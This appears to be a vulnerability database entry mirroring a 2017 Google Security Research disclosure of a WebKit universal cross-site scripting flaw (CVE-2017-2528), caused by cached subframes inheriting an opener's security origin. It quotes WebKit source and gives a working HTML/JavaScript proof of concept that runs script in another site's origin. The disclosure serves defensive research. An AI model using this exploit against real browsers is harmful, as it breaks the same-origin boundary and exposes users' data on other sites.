WebKit CachedFrame Universal Cross Site Scripting

🗓️ 01 Jun 2017 00:00:00Reported by Google Security ResearchType

packetstorm🔗 packetstormsecurity.com👁 71 Views

WebKit UXSS: Inheriting opener frame's security origin from cached subfram

Reporter	Title	Published	Views	Family All 25
0day.today	WebKit CachedFrame Universal Cross Site Scripting Vulnerability	1 Jun 201700:00	–	zdt
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	17 May 201700:00	–	nessus
Tenable Nessus	Safari < 10.1.1 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	Apple iOS < 10.3.2 Multiple Vulnerabilities	18 May 201700:00	–	nessus
Tenable Nessus	GLSA-201706-15 : WebKitGTK+: Multiple vulnerabilities	8 Jun 201700:00	–	nessus
Tenable Nessus	macOS : Apple Safari < 10.1.1 Multiple Vulnerabilities	23 May 201700:00	–	nessus
Tenable Nessus	Linux Distros Unpatched Vulnerability : CVE-2017-2528	25 Aug 202500:00	–	nessus
Apple	About the security content of iOS 10.3.2	15 May 201700:00	–	apple
Apple	About the security content of Safari 10.1.1	15 May 201700:00	–	apple
Apple	About the security content of iOS 10.3.2 - Apple Support	20 Jun 201710:37	–	apple

` WebKit: UXSS: CachedFrame doesn't detach openers   
  
CVE-2017-2528  
  
  
When a document loads "about:blank" or "about:srcdoc", it tries to inherit the security origin from its parent frame, or its opener frame if the parent frame doesn't exist. Normally, it doesn't happen that a subframe's document inherits its opener frame's security origin, because it has the parent frame. And it shouldn't happen at all. However, when the subframe is cached, only the parent frame is detached but not the opener frame. So, inheriting the opener frame's security origin could happen in that case.  
  
void Document::initSecurityContext()  
{  
...  
if (!shouldInheritSecurityOriginFromOwner(m_url)) <<----- check m_url is about:blank or about:srcdoc.  
return;  
  
// If we do not obtain a meaningful origin from the URL, then we try to  
// find one via the frame hierarchy.  
Frame* parentFrame = m_frame->tree().parent();  
Frame* openerFrame = m_frame->loader().opener();  
  
Frame* ownerFrame = parentFrame;  
if (!ownerFrame)  
ownerFrame = openerFrame;  
  
if (!ownerFrame) {  
didFailToInitializeSecurityOrigin();  
return;  
}  
  
...  
setCookieURL(ownerFrame->document()->cookieURL());  
// We alias the SecurityOrigins to match Firefox, see Bug 15313  
// <a href="https://bugs.webkit.org/show_bug.cgi?id=15313" title="" class="" rel="nofollow">https://bugs.webkit.org/show_bug.cgi?id=15313</a>  
setSecurityOriginPolicy(ownerFrame->document()->securityOriginPolicy());  
...  
}  
  
PoC:  
<body>  
Click anywhere.  
<script>  
  
window.onclick = () => {  
window.onclick = null;  
  
let w = open('about:blank', '', 'width=500, height=500');  
w.eval(`  
let f = document.body.appendChild(document.createElement('iframe'));  
f.contentWindow.name = 'zzz';  
opener.open('about:blank', 'zzz');  
  
function navigate(w, url, cb = null) {  
w.__check = true;  
  
let a = w.document.createElement('a');  
a.href = url;  
a.click();  
  
if (!cb)  
return;  
  
let it = setInterval(() => {  
let navigated = false;  
try {  
if (!w.__check)  
navigated = true;  
} catch (e) {  
navigated = true;  
}  
  
if (navigated) {  
clearInterval(it);  
cb();  
}  
}, 10);  
}  
  
navigate(opener, '<a href="https://abc.xyz/" title="" class="" rel="nofollow">https://abc.xyz/</a>', () => {  
f.srcdoc = '<script>opener.alert(opener.location);</scrip' + 't>';  
f.contentWindow.onbeforeunload = () => {  
f.contentWindow.onbeforeunload = null;  
  
navigate(window, 'about:blank');  
};  
  
navigate(f.contentWindow, 'about:srcdoc');  
});`);  
}  
  
</script>  
</body>  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

01 Jun 2017 00:00Current

6.6Medium risk

Vulners AI Score6.6

EPSS0.02025